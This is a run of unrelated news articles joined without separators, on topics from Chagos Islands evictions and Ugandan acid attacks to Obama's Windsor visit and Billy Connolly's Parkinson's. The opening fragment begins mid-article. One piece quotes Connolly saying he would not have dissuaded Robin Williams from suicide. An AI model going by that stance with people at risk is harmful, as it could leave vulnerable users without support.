TEN MOST EXPENSIVE ANIMALS SOLD IN SOUTH AFRICA 1. Buffalo (Horizon) - R176 million 2. Cape Buffalo (Mystery) - R40 million 3. Buffalo - R26 million 4. Buffalo - R18million 5. Sable Antelope - R11million 6. White Impala - R9.7million 7. East African Buffalo R8.1million 8. White Saddle Blesbuck - R7.8million 9. East African Buffalo R6.5million 10. Matetsi Sable (pregnant) - R4 million Advertisement

'But in Horizon's case his offspring have unbelievable genetics and we therefore know that we are guaranteed excellent offspring by Horizon.

'By breeding the super cows and an incredible bull like Horizon we make sure that we only have the best quality buffalo genetics.

'Breeders in South Africa are the biggest market for such animals and are willing to pay incredible record prices for the genes of buffaloes they believe can increase their herd's horn span.

'Horizon's offspring will be sold to other farms in South Africa and indigenous farms that want to incorporate an excellent bloodline into their herds.

'The females will be sold as breeders as it is an excellent opportunity for farmers to breed with top quality buffalo genes.

'Horizon is now at our farm and we are expecting the new shareholder's cows in July.'

African buffalo used to have horns spanning wider than 1.5 metres but hunting removed the largest animals.
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Fifty years after the inhabitants of an archipelago in the Indian Ocean were forced to leave a photographer has taken these extraordinary images of how nature has slowly reclaimed the villages they left behind.

Hundreds of people were evicted by Britain from the Chagos Islands - a tiny speck in the middle of the Indian Ocean - between 1965 and 1973 in a secret deal to make way for a US air base,

Diego Garcia became an important base during the Cold War and was also used as a staging post during the 1991 Gulf War and the invasion of Iraq in 2003.

Canadian photographer Diane Selkirk s has been sailing around the world for the last six and half years made a stop at the Chagos islands to take a look for herself at what remains of the once vibrant community that was forced to abandon their home.

Around 1,800 islanders became refugees in nearby Mauritius but the majority later came to England and still live today in Crawley, close to Gatwick airport where they first landed.

Canadian photographer Diane Selkirk has been sailing around the world for the last six years and she took the pictures when she landed in the Chagos islands, which is a largely forbidden military zone because of the proximity of the air base.

She said: 'My goal from there was to capture the depth of the loss, not just by photographing the ruins, but also by showing the beauty and abundance of Chagos.

'A jungle has a voracious appetite and although the village at Boddam was only completely abandoned in the 1970's it's hard to picture how it must have looked when it was a bustling community.'

A Foreign Office spokesman told the Mail Online: 'The government is still considering its policy in this area and will announce developments to Parliament and the public in due course.'

The church on Ile Boddam was built in 1935 and was once the social and cultural centre of Salomon Atoll. Since the last islanders left in 1973 its roof has disappeared and it has been slowly reclaimed by Mother Nature

Anne Marie Gendron (pictured, left, as a baby with her mother) returned to the islands recently for the first time since she left as a child. 'Chagos was paradise,' she said. She was one of the last to leave Ile Boddam in Salomon Atoll, in 1973

Anne-Marie Gendron, 53, stands outside the church where she was baptised as a baby. She said: 'I was very happy to visit the church where I was baptised, it was very sentimental and I could not stop crying during the Mass that was organised for us'

The islands had been inhabited for hundreds of years but the last islanders were forced to leave in 1973. They left behind graveyards, like this one on Ile Boddam, where their ancestors were laid to rest

Relatives of those buried on the Chagos islands have been unable to tend their loved ones' graves for the last 50 years. The Chagossians were of mixed African, Indian and Malay ancestry and spoke a Chagossian Creole dialect, which is based on French. The language has died out since they left the islands

The last residents were evicted Ile Boddam in 1973 but the fast-growing jungle makes it appear as though the village has been abandoned for more than 43 years. There were three main towns in the archipelago - Diego Garcia, Peros Banos, and Ile Boddam (pictured)

The tropical islands have an abundant stock of coconut and breadfruit. There is also a large population of turtles and the sea around the islands is well-stocked with skipjack and yellowfin tuna and also sharks, which are sometimes caught by Mauritian fishermen for their fins

The local cemetery on the Ile Boddam (pictured) has been overrun by nature in recent years. The religion of most of the islanders was Christianity, a faith first introduced by Portuguese explorers in the 16th century

Homes have been overrun by trees which, unfettered by humans, have grown up and over them. In 2000 a British court ruled that the islanders could return but that was later overturned and there is ongoing litigation which has kept the islanders in limbo

In 2002 a feasibility study into the possible resettlement of the islands concluded the costs of long-term inhabitation of the outer islands would be prohibitive and life there precarious. But last year a legal team representing the islanders argued in the Supreme Court that key elements of the feasibility study had not been properly disclosed

In 1971 the British government passed an Immigration Order which prevented anyone from going back to the islands. In 2000 the High Court in London ruled Chagossians could return to 65 of the islands, but not to Diego Garcia. But that decision was later overturned by royal prerogative

Relatives of Anne-Marie Gendron pose for a photograph in the Chagos islands in the early 1960s. The islands were purchased from Mauritius in 1965 for 3m when the British Indian Ocean Territory was formed. They were then emptied and Diego Garcia was leased to the US for use as an air base

A B-1 bomber takes off from the US air base at Diego Garcia to bomb targets in Afghanistan during the 2001 campaign against the Taliban. Diego Garcia is the largest of the Chagos islands and was leased to the US by Britain in 1965

The tiny former jail on Ile de Boddam lies empty and derelict. Some Chagossians live in Mauritius and the Seychelles but the largest community is in Britain, where around 3,000 Chagossians and their descendants live in Crawley, West Sussex, and east Surrey

Anne-Marie Gendron is pictured as a baby at her baptism on the islands. She said of her return: 'It was very special to go back...and see places that I remember from growing up there when I was a child. Attending mass at the church where I was baptised was very emotional'
Her husband's second wife had hired a man to throw acid on her

Like most other victims, she was attacked over a relationship

Gloria Kangunda was attacked in 2010 and now heads rehab centre

Victims of acid attacks in Uganda speak out to highlight plight

Gloria Kankunda wears a knee-length dress, no longer ashamed to show the scarring which covers her legs, arms and face.

Six years ago, at three months pregnant, Ms Kankunda was attacked at her home in Kampala, Uganda, by a man who poured acid over her body.

The 33-year-old was left with burns on 70 per cent of her body after which was later found to have been a revenge attack by her husband's 'co-wife'.

Inspirational: Acid victims Silvier Nambirige, Gloria Kankunda, director of the Center for Rehabilitation of Survivors of Acid and Burns Violence (CERESAV), and Linneti Kirungi, in Kampala, Uganda

Ms Kankunda had been in a polygamous marriage and her husband's other wife had hired a man to attack her with acid in 2009.

She was hospitalised and underwent 20 skingraft operations and was thankfully able to give birth to a healthy baby girl six months after the attack.

Refusing to let her scars stand in her way, Ms Kankunda now helps other victims like her rehabilitate and regain confidence to win their lives back.

'I'll make these scars stars,' the 33-year-old, who also lost the sight in one of her eyes, told Take Part.

Victims: Ms Nambirige's ex husband poured acid on her body, causing severe burns and scarring, and Ms Kirungi's former boyfriend threw acid on her when she refused to marry him

Brave: Ms Kankunda, 33, was attacked at her home in Kampala, Uganda, by a man who had been hired by her husband 'co-wife' to pour acid over her body, leaving her with 70 per cent burns and blinded in one eye

Ms Nambirige and Ms Kirungi pose at CERESAV, an organisation which assists victims of acid attacks and advocates for laws that include stricter sentencing for offenders.

Ms Kankunda is the director of the Center for Rehabilitation of Survivors of Acid and Burns Violence (CERESAV), which she co- founded in 2012 to offer legal advice and help to survivors.

One of the women she has helped is Silvier Nambirige, who was attacked with acid by her ex-husband and suffered severe burns.

Another, Linneti Kirungi, 24, lost an ear and he left side of her body is covered in scars.

Ms Kirungi's former boyfriend threw acid on her in 2012. He had wanted to marry her before she finished school, but she refused.

Acid attacks in Uganda are not uncommon. Relationship problems are often the motivation for the attacks and the victims must suffer from the results for the rest of their lives.
Police believe he was 'behaving erratically' on Northern Line before attack

He was arrested on suspicion of assault and carrying bladed weapon

Woman, 25, assaulted by knifeman at Bank Station around 7am today

A knife-wielding man terrorised passengers on the London Underground this morning before allegedly assaulting a woman at a station.

Police were called to Bank Station at around 7am to reports of a 25-year-old woman being attacked on the platform by the offender.

He was detained by police and arrested on suspicion of assault and being in possession of a bladed weapon.

British Transport Police confirmed the woman was not injured and said the man was believed to have been 'behaving erratically' on the Northern Line before the incident.

A knifeman was said to be terrifying passengers on London Underground Northern Line this morning (file picture)

The man was then arrested at Bank Station, pictured, after a 25-year-old woman was assaulted

A British Transport Police (BTP) spokesman said: 'Officers were called to Bank London Underground station at 6.49am today following reports of a disturbance on platform 4.

'On arrival officers arrested a man in connection with an assault on a woman and for possession of a bladed article. The woman, aged 25, hasn't been injured.

'We believe the arrested man travelled on the Northern line prior to the incident and may have been behaving erratically.'
Australian paedophiles are going overseas in search of surrogate babies in droves, according to a renowned surrogacy lawyer.

Brisbane surrogacy lawyer Stephen Page said there are large numbers of Australian sex offenders going abroad in search of surrogate babies.

It comes as reports emerge of a known child abuser who has been charged for sexually abusing his infant surrogate twin daughters conceived overseas, reports The Age.

A surrogacy lawyer believes there are large numbers of Australian sex offenders going abroad in search of surrogate babies

Mr Page said he was sickened by the story of the unnamed 49-year-old man, who is set to become the second person in Australian history convicted of the federal offence of child trafficking.

'Australia seems to be the leading exporter of cases such as this. So we should be making it much harder for people,' he said.

The man and his wife applied to become surrogate parents and used his sperm, an egg donor from Ukraine and a surrogate from an Asian clinic to conceive the twins, with the intention of abusing them.

Mr Page said the Australian government needs to crack down on residents travelling abroad to seek surrogates.

Australian surrogacy laws are currently being examined by a federal parliamentary committee.

Federal MP George Christensen has called for a ban of Australians seeking surrogacy in developing countries.
Christmas has come early for one Slovenian family, and what better way to celebrate than to belt out your favourite festive tunes.

Sky the eight-week-old snow white puppy hopped around excitedly to Jingle Bells, eventually joining in on the early holiday cheer by howling along to the music.

Footage of the Swiss Shepherd pup shows the fluff ball curiously monitoring a phone playing the song, before jumping around and whimpering, in an attempt to understand the source of the music.

Footage of a Slovenian puppy named Sky shows the fluff ball listening to Jingle Bells

Footage of the pup shows the fluff ball curiously monitoring a phone playing the song

Sky moves from side to side, staring at the phone, and tilting her head back in apparent bewilderment, before howling along.

Sky was brought into her new family on Tuesday and was given her new name, after initially being called Venus by her breeders.

Sky tilting her head back and forth in bewilderment of the device

The 8-week-old cotton ball begins to whimper at the phone

In the description of the original video posted to YouTube, Sky's owner wrote: 'She already brought a lot of joy in our house.'

The curious Swiss Shepherd was bought from a kennel in Slovenia.

A litter of puppies were born at the kennel in late February this year.

At the end of the clip the adorable puppy gives up, admitting defeat by howling along to the carol
He will star in the upcoming film Achieving The Impossible

He's always stood out from the crowd, but now the world's tallest man may become even more recognisable as he prepares to star in his first feature film.

Sultan Kosen - who at 8ft 3in stands head and shoulders above the rest of the world's population - arrived in Hollywood today to play a leading role in the upcoming film, Achieving the Impossible.

The 33-year-old farmer from Mardin, Turkey, appeared visibly excited to have touched down in America, stepping off the plane after an 18-hour flight.

Sultan Kosen, who at 8ft 3in is the world's tallest man, touches down in Hollywood ahead of his first role in a movie in the film Achieving the Impossible

Mr Kosen stands head and tall above some school children he met after arriving in California

Forced to duck his head as he emerged from the lift, Mr Kosen kept coy about his role in the film, but said that after receiving a number of offers over the past two years the time was finally right to make his acting debut.

The world's tallest man has reportedly agreed to appear in another film, set to be shot in Australia

'I reckon it will get a lot of interest. I had my first acting offer two years ago, we talked with my manager and evaluated the offer and I liked this topic a lot,' he said.

'I made up my mind though finally when the screenwriter came to visit me in Mardin, we talked there and I do like the subject of achieving the impossible.'

Mr Kosen, whose hands measure 10.8in across and his feet 13.7in long, suffers from the rare disorder acromegaly which causes his body to continually produce the growth hormone.

He was continually growing until 2012 when researchers at the University of Virginia Medical Center developed a treatment.

The world's tallest man may follow in the footsteps of another big man, former WWE wrestler turned movie star, Dalip Singh Raina.

More commonly known as The Great Khali, Mr Raina stands at 7ft 1 in and has used his height and notoriety to appear in multiple films including The Longest Yard and Get Smart.

Having taken his time to accept an offer from Hollywood, Mr Kosen now seems keen to permanently swap his farming overalls for the bright lights of Hollywood, reportedly agreeing to appear in a second project to be filmed in Australia.
Obama has come under criticism after he intervened in Brexit debate calling for the UK not to leave the EU

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Barack Obama paid a heartfelt tribute to the Queen today, calling her 'a real jewel to the world' and 'one of my favourite people' after he and his wife Michelle had an intimate lunch with Elizabeth II and the Duke of Edinburgh.

Speaking alongside David Cameron at a Press conference in London, the US President took the opportunity to praise the Queen on the occasion of her 90th birthday - and also joked about the 'smooth ride' he and Mrs Obama had when Prince Philip drove them in his Range Rover.

Mr Obama, who is making his last trip to Britain as President, shared a meal with the Queen at Windsor Castle before his summit with the Prime Minister.

He came equipped with a gift - an album of photos showing the Queen meeting various Presidents - which he handed over shortly after the Duke took the role of his chauffeur, driving both couples 400 yards from their helicopter landing site to the door of the castle.

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Friendly: The Royal couple shared a joke with the Obamas after they touched down in the helicopter Marine One

Grins: Barack and Michelle Obama smiling for the camera with the Queen and Prince Philip at Windsor Castle today

Chauffeur: The Duke of Edinburgh went behind the wheel to drive the Obamas into Windsor Castle today

Meeting: Barack and Michelle Obama were today met at Windsor Castle by the Queen and the Duke of Edinburgh

Good-natured: The two couples have met several times before in the years since Mr Obama became President in 2009

After the meeting, Mr Obama used a Press conference to 'wish Her Majesty a very happy birthday', adding: 'The Queen's been a source of inspiration for me like so many people around the world.

'She is truly one of my favourite people, and should we be fortunate enough to reach 90, may we be as vibrant as she is. She is an astonishing person and a real jewel to the world, and not just the United Kingdom.'

He also made a light-hearted reference to his unusual drive at the castle, saying: 'I have to say I have never been driven by a Duke of Edinburgh before, and I can report that it was very smooth riding.'

As Marine One landed on the golf course of the 6,400-hectare estate next to the castle walls, Philip and the Queen waited in their navy Range Rover. Then, as the blades of the helicopter stopped, the Duke pulled the car forward and he and the Queen got out to welcome their guests.

Scene: The helicopter Marine One landed on the lawn in front of Windsor Castle, one of the Queen's official residences

Encounter: The two couples walked towards each other over the grass after Marine One touched down

Devoted: The Queen and her husband waited on the lawn for Mr Obama to emerge from his helicopter

Privilege: The Queen and her husband personally waited on the lawn so they could greet the Obamas straightaway

Casual: The two couples have met on several previous occasions and are said to get on well with each other

Gifts: The Obamas gave the Queen and Philip a present of a photo album celebrating Elizabeth II's meetings with previous Presidents

PRESIDENT'S WARM TRIBUTE TO HER MAJESTY AFTER HE ENJOYED A 45-MINUTE LUNCH WITH HER TO MARK HER 90TH BIRTHDAY Earlier today Michelle and I had the honour to join Her Majesty and His Royal Highness the Duke of Edinburgh at Windsor Castle, where we conveyed the good wishes of the American people. I have to say I have never been driven by a Duke of Edinburgh before, and I can report that it was very smooth riding. As for Her Majesty, the Queen's been a source of inspiration for me like so many people around the world. She is truly one of my favourite people, and should we be fortunate enough to reach 90, may we be as vibrant as she is. She is an astonishing person and a real jewel to the world, and not just the United Kingdom. Advertisement

Mr Obama walked down the steps and shook hands with the Queen followed quickly by his wife Michelle as Philip waited his turn to welcome them both. The two couples appeared very relaxed and instantly started chatting away animatedly before getting into the vehicle.

There seemed to be some confusion about who was going to sit where, with Philip appearing to gesture to Mrs Obama to go round to the other side when in fact she eventually got in at the back on the same side as him.

Mr Obama started to go one way towards the Queen, then changed direction and got into the front seat next to Philip.

While the Queen and Philip were waiting to greet the Obamas their car was turned around by a member of staff so Philip did not have to turn it himself or reverse it back up the drive.

US media who had landed minutes before the President in the helicopter Marine Three were heard saying in disbelief, 'Is Obama driving?' - apparently forgetting that in the UK drivers sit on the opposite side.

Mrs Obama was wearing a dress by Oscar de la Renta, one of her favourite designers, while the Queen covered her head in a stylish scarf which she paired with a light blue skirt suit.

The US couple will later dine in London with the Queen's grandchildren, Princes William and Harry, as well as William's wife Kate.

Mr Obama, who landed near London last night for the start of an official visit to Britain, has been staying at the home of the US ambassador.

This morning he departed the residence near Regent's Park in his enormous motorcade, before taking his Marine One helicopter to Windsor, in Berkshire.

Drive: The four dignitaries all climbed into a Range Rover which was then driven the short distance to the castle by Prince Philip

Assistance: The foursome were accompanied by aides at Windsor Castle - but they were left alone for the drive

Mix-up: The four dignitaries initially seemed confused as to which of them should go into which seat

Confusion: When Mr Obama climbed into the front passenger seat, some US journalists thought he would be driving

Pulling in: Philip drove the group the 400 yards into the entrance of the castle

Nimble: The 90-year-old monarch got out of the Range Rover without needing help from anyone else

Face-to-face: The Queen, the President and Mrs Obama all sat in a Range Rover being driven by Prince Philip to the castle

Going in: Mr Obama and the Queen entering the Oak Room at the castle to pose for photos before their lunch

Inside Windsor Castle, the four posed for a photograph in the castle's Oak Room, in the Queen's private apartment. The monarch uses the room to hold audiences with visiting dignitaries, and in past years has recorded a Christmas broadcast there.

Lunch lasted just 45 minutes but was said to be warm and friendly, before the president flew off to meet Prime Minister David Cameron.

The White House said that the president and his wife gave the Queen a 90th birthday present of a custom photo album chronicling her visits with U.S. Presidents and First Ladies.

It added: Her Majesty Queen Elizabeth II is the longest reigning monarch in British history. The collection of historical photos in the album highlights the enduring close friendship between the United States and the United Kingdom.

The Queens first visit to the United States was in 1951 as Her Royal Highness Princess Elizabeth, when she toured George Washingtons historic Mount Vernon Estate and met with President Harry S. Truman.

Following: Mr Obama's armoured car known as 'The Beast' was part of an 11-vehicle motorcade which drove to Windsor

Picturesque: Mr Obama's Cadillac parked in the grounds of Windsor Castle while the President was having lunch with the Queen

Ceremony: Royal Guardsmen were standing on the quadrangle at Windsor Castle when the President and Mrs Obama arrived

Welcome party: US Marines arrived early at Windsor Castle and greeted Mr Obama when he stepped off Marine One

Take-off: Mr Obama leaves London in Marine One, his fortified helicopter, on the way to Windsor

Guarded: The helicopter always flies in convoy, including with a decoy, to avoid attack

A chain of British policemen had marked out a vast perimeter around the landing zone in advance, standing dressed in their black helmets amid the grass and trees of Home Park.

Marine One, which is always accompanied by an identical decoy helicopter, is equipped with anti-missile defences.

The President has already sparked controversy on his tour of the UK by intervening in the debate over the upcoming European Union referendum.

Mr Obama called for Britain not to opt for 'Brexit', to the fury of anti-EU campaigners who argue that a foreign leader should not interfere in domestic political issues.

Security: Agents prepare for Barack Obama's visit to Windsor Castle today to have lunch with the Queen

Prepared: Police were on high alert in the centre of Windsor as the President arrived for his meeting with the Queen

Guard: An officer on duty today near Windsor Castle, where Mr Obama and Elizabeth II are having lunch

He joked that his visit was specifically timed to coincide with the Queen's birthday on Thursday, saying: 'I want to wish Her Majesty a happy birthday in person.'

After the Obamas had lunch with the Queen and the Duke of Edinburgh, Mr Obama visited 10 Downing Street for a meeting with Prime Minister David Cameron.

This evening, he will have dinner with the Duke and Duchess of Cambridge and Prince Harry at their home, Kensington Palace.

Mr Obama has met the Royal family several times since he took office more than seven years ago, and has described the Queen as 'delightful', comparing her to his own grandmother.

Departing: Mr and Mrs Obama on the lawn of Winfield House, the US ambassador's official residence in London, this morning

Motorcade: Mr Obama' fleet of armoured cars on its way to Windsor ahead of his lunch with the Queen today

Entourage: The President has been accompanied by dozens of aides and security officers on his tour of Britain

Armed: Metropolitan Police officers with large weapons accompanied Mr Obama's motorcade on its journey through London

Arrival: Mr Obama waves for the cameras after landing at Stansted Airport outside London on Air Force One late last night

'Each time, the President has come away with an even deeper personal affection for her,' said his top spokesman Josh Earnest.

'She is an important symbol of a country with whom the United States has a special relationship. But she also is a human being whose charisma and a sense of nobility and honour is something that I think people around the world are attracted to.'

Princes, Charles, William and Harry have all also visited Mr Obama in the White House's Oval Office.

Elizabeth II has met with 11 US Presidents since she became Queen in 1952 - the only she never met was Lyndon B. Johnson.
A 12-year-old Yazidi girl managed to escape sex slavery at the hands of her ISIS captors by slipping sleeping pills in their tea.

The girl was being held by the militants with her 17-year-old aunt, but by drugging them into a deep sleep, both women managed to escape.

They found safety in nearby, Kurdish held territory.

The 12-year-old girl who escaped ISIS fighters by slipping sleeping pills in their tea is photographed with Vian Dakhil, the only Yazidi member of the Iraqi parliament

The story was confirmed by Vian Dakhil, the only Yazidi member of the Iraqi parliament, who has been honoured for her commitment to raising awareness of the group's plight.

She said the two girls were held at a house in Tel Afar, near Mosul, for nearly four months before they made their escape.

They apparently did so by asking the ISIS fighters for pills to help them sleep.

Dakhil told Kurdish BasNews: 'Then, they put the medicine in militants tea and secured their escape after they fell asleep.'

The UN believe ISIS are holding around 3,500 Yazidi women and children, with many girls being sold into sexual slavery, or given to militant fighters as rewards

The girl has been reunited with her mother and sister, but two of her siblings are still being held by ISIS militants.

The Yazidi group are an ethno-religious minority with ancient roots in Iraq, who have been persecuted by ISIS for being 'infidels' since 2014, when the fighters surrounded their homeland of Mount Sinjar.

In addition to killing Yazidi men, the UN believe ISIS are holding around 3,500 women and children as slaves in horrific conditions, often deprived of food and water.

The Yazidi people are an entho-religious minority in Iraq, who have been persecuted by ISIS since 2014 for being 'infidels'

Women are subjected to sexual slavery by ISIS, something they justify on account of the group not being Muslim. Girls as young as 12 are sold for sex, or given to fighters as rewards.

Those who refuse to submit are often killed, in addition to older women who ISIS feel serve them no use.
A judge formally dismissed a murder case Friday against a retired Washington state police officer who a prosecutor says was wrongly convicted in the 1957 killing of a 7-year-old Illinois girl, but he put off a decision on whether to appoint a special prosecutor.

DeKalb County Circuit Court Associate Judge William Brady accepted a motion Friday from the current state's attorney to dismiss the murder count against Jack McCullough, but he did so without prejudice, leaving open the possibility that the case could be refiled.

McCullough, 76, was convicted of murder and sentenced to life in prison in 2012 in the killing of Maria Ridulph in the small community of Sycamore, Illinois, where McCullough grew up.

Jack McCullough, 76, pictured before his April 15 release, was free to leave Illinois Friday after a judge dismissed a murder case against him

McCullough (left with his family after being freed from jail this week) said that being a former officer and a convicted child killer in jail was a 'death sentence', and that he feared for his life while inside

But the successor to the state's attorney who prosecuted the case released a scathing review last month in which he said the investigation and prosecution were riddled with flaws. He also concluded McCullough's alibi was solid.

McCullough was convicted for the murder of seven-year-old neighbor Maria Ridulph in 1957, despite evidence showing he was 40 miles away at the time

Brady vacated the conviction and ordered McCullough to be released April 15, pending a new trial.

After Friday's ruling, McCullough is free to leave Illinois, and plans to travel home to Seattle this weekend, CNN reported.

His wife of more than two decades, Sue McCullough, expressed her gratitude in an interview with CNN Friday.

'I'm very happy he's finally coming home. We missed him,' she said.

McCullough declined to comment on Friday's ruling, saying he'd been advised against it by his lawyers, according to CNN.

In an interview last week with CNN, he said his time behind bars had been rough, and likened his status as an ex-cop and convicted child killer to a 'death sentence.'

He said he'd been attacked in his sleep by a cell mate who tried to blind him with a sharpened tooth brush. A strike to the eye required two stitches, he said.

'He wanted to blind me. He knew I loved to read. When I snatched the toothbrush out of his hand, he grabbed my hand and bit me,' McCullough recalled.

McCullough was arrested in 2011 (pictured) and jailed in 2012, but a review of the case found the prosecution against he was so flawed he should never have been convicted

Jack McCullogh, 76, a former cop and security guard jailed in 2012 for a 1957 murder he did not commit, planned to return to Seattle this weekend after a judge threw out a murder case against him Friday

He also said his first act as a free man was to buy a slice of pepperoni pizza.

State's Attorney Richard Schmack has declined to pursue a retrial of McCullough following his review of the 2012 case, so the judge formally dismissed the charge on Friday.

But Brady denied a request by Schmack and McCullough's attorney to dismiss the charge with prejudice, arguing that doing so would imply he had made an actual judgment himself that McCullough was not guilty.

That leaves the door open to charges being refiled at some point.

Judge Brady is also separately considering a request by Maria's brother, Charles Ridulph, to appoint a special prosecutor.

He gave Ridulph and his attorneys more time to amend their motion and will consider their assertion that Schmack has a conflict of interest at a June 23 hearing.

Their motion seeks an outside prosecutor to review the case files and determine independently if there's enough evidence to pursue the case further.

Schmack denies he has any conflict.

Pictured, Maria Ridulph's grave in Sycamore, Illinois. She disappeared on December 3, 1957, and her killer has never been found

McCullough was convicted for Maria Ridulph's death in 2012 and sentenced to life in prison.

But he claimed he was actually 40 miles away at the time the girl was snatched from her house, before her body turned up five months later.

Maria's disappearance made headlines nationwide in the 1950s, when reports of child abductions were rare.

She had been playing outside in the snow with a friend on December 3, 1957, when a young man approached, introduced himself as 'Johnny' and offered them piggyback rides.

Maria's friend dashed home to grab mittens, and when she came back, Maria and the man were gone.

At trial, prosecutors said McCullough was Johnny, because he went by John Tessier in his youth. They said McCullough, then 18, dragged Maria away, choked and stabbed her to death.

Schmack, who wasn't involved in McCullough's case and was elected to the state's attorney post as McCullough's trial came to an end, filed a scathing report with the court last month that appeared to pick the case apart, point-by-point.

The former Washington state cop's long-held alibi was that he was in Rockford, attempting to enlist with the US Air Force at a military recruiting station, on the night Maria disappeared.

Schmack said newly discovered phone records proved McCullough had, as he long-claimed, made a collect call to his parents at 6.57pm from a phone booth in downtown Rockford, which is 40 miles northwest of where Maria was abducted between 6.45pm and 6.55pm.

Schmack also reviewed police reports and hundreds of other documents, including from the Air Force recruitment office, which he said had been improperly barred at trial.

In his review he said the documents contained 'a wealth of information pointing to McCullough's innocence, and absolutely nothing showing guilt'.
Australian woman Sally Faulkner has arrived back in Sydney from Beirut without two of her children, after being at the centre of their botched kidnapping attempt in Lebanon involving 60 Minutes.

Ms Faulkner touched down in Australia on Friday night and reportedly evaded the media at Sydney Airport.

She went to Beirut in the hope of bringing five-year-old Lahela and Noah, three, back to Australia with her.

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Sally Faulkner (right) was released from a Beirut prison along with members of the 60 Minutes team including Tara Brown (left)

Ms Faulkner (pictured front) went to Beirut in the hope of bringing Lahela, 5, and Noah, 3, back to Australia with her

Ms Faulkner pictured hugging a member of the 60 Minutes team, who was also released from prison in Beirut following the botched child recovery attempt

Ms Faulkner, Lahela and Noah shared ice cream, kisses and hugs in a Beirut playground before she left to return to her new partner and baby in Brisbane.

Ms Faulkner's tears came after the children left, her estranged husband Ali Elamine said.

'Sal had fun, the kids had fun, that's all that matters,' he said.

'She's their mother and obviously they are going to enjoy time with her.'

Ms Faulkner arrived back in Sydney on Friday night and will join her partner and her other child in Brisbane

Ms Faulkner's former husband Ali Elamine said Ms Faulkner and the children shared icecream, hugs and kisses in a Beirut park before she left

The Australian Family Court granted Ms Faulkner full custody of her two children but she gave up that right in exchange for Mr Elamine dropping his abduction charges.

That led to Ms Faulkner and the 60 Minutes crew's release after two weeks in a Beirut prison, although they still face possible criminal charges.

Mr Elamine will not let the children return to Australia anytime soon, but Ms Faulkner can visit them in Lebanon or a third country such as the UAE or Cyprus.

Ms Faulkner had full custody of her two children (pictured) but she gave up that right in exchange for Mr Elamine dropping his abduction charges

Asked if it was right to separate the children from their mother, Mr Elamine replied: 'No, no, we are discussing that, Sal and I, right now. If she is not here, she can Skype them and whenever she feels the need or wants to come over.'

Mr Elamine has not dropped charges against the child recovery team members who seized the children on a Beirut street as they walked with Mr Elamine's mother on April 6.

'They were the ones who were the muscle on the ground,' Mr Elamine said.

'They are the ones who orchestrated most of it.

'The kids obviously felt the effect of that. Noah still hates being outside, away from me. I think he is a bit scared someone might come and snatch him.'

Mr Elamine will not let the children (pictured with Ms Faulkner) return to Australia anytime soon, but their mother can visit them in Lebanon or a third country such as the UAE or Cyprus
Romania has been barred from this year's Eurovision Song Contest for failing to repay more than ten million in debts to the European Broadcasting Union, the EBU said Friday.

Romania's struggling state broadcaster TVR owes the EBU 16million Swiss francs (11.4million) - a debt which they have accumulated over several years.

Despite being given several extensions on their deadline, Romania has still not paid their debts and as a result, have been booted out from the international music competition.

Money, money, money: Romania will not be allowed to compete in the 2016 Eurovision Song Contest after failing to repay a 11.4million debt to the European Broadcasting Union

The EBU are the organisers of Eurovision, which this year culminates in a final on May 14 in Stockholm, Sweden.

Romania was to be represented at the event by Ovidiu Anton with his English-language song, 'Moment of Silence', but the entry will now be forced out of the lineup.

'It is regrettable that we are forced to take this action,' EBU Director General Ingrid Deltenre said in a statement.

'We are disappointed that all our attempts to resolve this matter have received no response from the Romanian government.

'The continued indebtedness of TVR jeopardises the financial stability of the EBU itself,' Deltenre said.

The winner takes it all: This year's Eurovision final will be held in Stockholm, Sweden after Mans Zelmerlow won the competition in Vienna last year

She said the EBU has noted that TVR was facing possible insolvency.

But numerous attempts were made to restructure the debt and payment plans were agreed upon, but had not been adhered to.

The organisation had written to the Romanian government on four occasions this year, but had received no reply, the EBU said in a statement.

On Monday, Romania's Prime Minister Dacian Ciolos said the government would be seeking to broker a solution to avoid being locked out of a competition watched by a global audience of 197 million last year.

Then, in a final letter to the Romanian finance minister sent on April 15, the EBU requested a payment of 9.2 million euros to be received in the EBU's bank account by close of business on Wednesday, April 20, 2016.

The deadline was then extended until Thursday, April 21 but no payment was received, according to EBU.
Honest: Billy Connolly (pictured in January) has said he had suicidal thoughts since being diagnosed with Parkinson's disease

Billy Connolly admits he has had suicidal thoughts after being diagnosed with Parkinson's disease and realised: 'This isn't going to get better, it's going to get worse'.

The Scottish millionaire actor and comedian, 73, also revealed he would not have stopped Robin Williams ending his own life in 2014.

Mr Connolly, who was diagnosed with Parkinson's in 2013 just weeks before he had successful surgery for prostate cancer, also said he has 'started to drool' as his health falters.

He has admitted Parkinson's leaves him prone to black moods when he thinks about how bad the symptoms of his condition could get.

Robin Williams killed himself two years ago after he was diagnosed with Parkinson's disease, which left him depressed, anxious and feared he would become a 'burden'.

The star has admitted his old friend had repeatedly called him to 'tell me that he loved me' before he died, realising later: 'That was him saying goodbye'.

Mr Connolly told a US radio station this week he considered doing the same.

He said: 'Yeah sometimes I give it a bit of thought when I'm in bed.

'I think "Well this is forever, this isn't going to get better, it's going to get worse".

'But then I try and change my mind and I try and meditate and move away from it sideways.

'The guy who told me I had it said to me "You realise it's incurable?" I thought he could have said 'We have yet to find a cure' or something like that to put a bit of light at the end of the tunnel.'

He added: 'I'm okay at the moment but it comes and goes. Sometimes I have trouble getting out of bed and I walk sort of strangely.

'Turning over (in bed) is difficult. Turning from one side to the other can be quite a complicated manoeuvre.

'The body isn't responding sometimes but it is quite interesting as the body changes.

'I have started to drool as well, that's a nice thing. That's going to make me really attractive.'

Connolly's friend, the actor Robin Williams committed suicide in August 2014, after being diagnosed with Parkinson's.

Close: Connolly's friend, the actor Robin Williams (together in 2000) committed suicide in August 2014, after being diagnosed with Parkinson's - and called to say he loved him before his death

THE ILLNESS WITH NO CURE: HOW PARKINSON'S DISEASE HITS VICTIMS Parkinson's is a chronic neurological disorder, characterised by a deficiency of dopamine. Actor Michael J. Fox and Muhammad Ali are among the most famous people with it. The main symptoms are slowness of movement, stiffness of muscles and shaking. These tend to slowly worsen with time although the rate varies from patient to patient. There is currently no cure. About 5 in 1,000 people in their 60s, and about 40 in 1,000 people in their 80s have the condition. There is no cure for Parkinson's and scientists have been unable to work out why people get it. Symptoms can be controlled using a combination of drugs, therapies and occasionally surgery, but often more care and support may be needed as they progress. Advertisement

The Glaswegian said he would not have talked Williams out of taking his own life if he had known he was contemplating it.

He said: 'I wouldn't have done anything.

'You have to give a guy the position that he is wise enough to make up his own mind.

'He started to phone me to tell me that he loved me and he did it for a while and then he was gone.

'My wife, who is a psychologist, said that was him saying goodbye. It was very weird.'

Despite his health troubles, Connolly is set to embark on a three live stand-up shows in America.

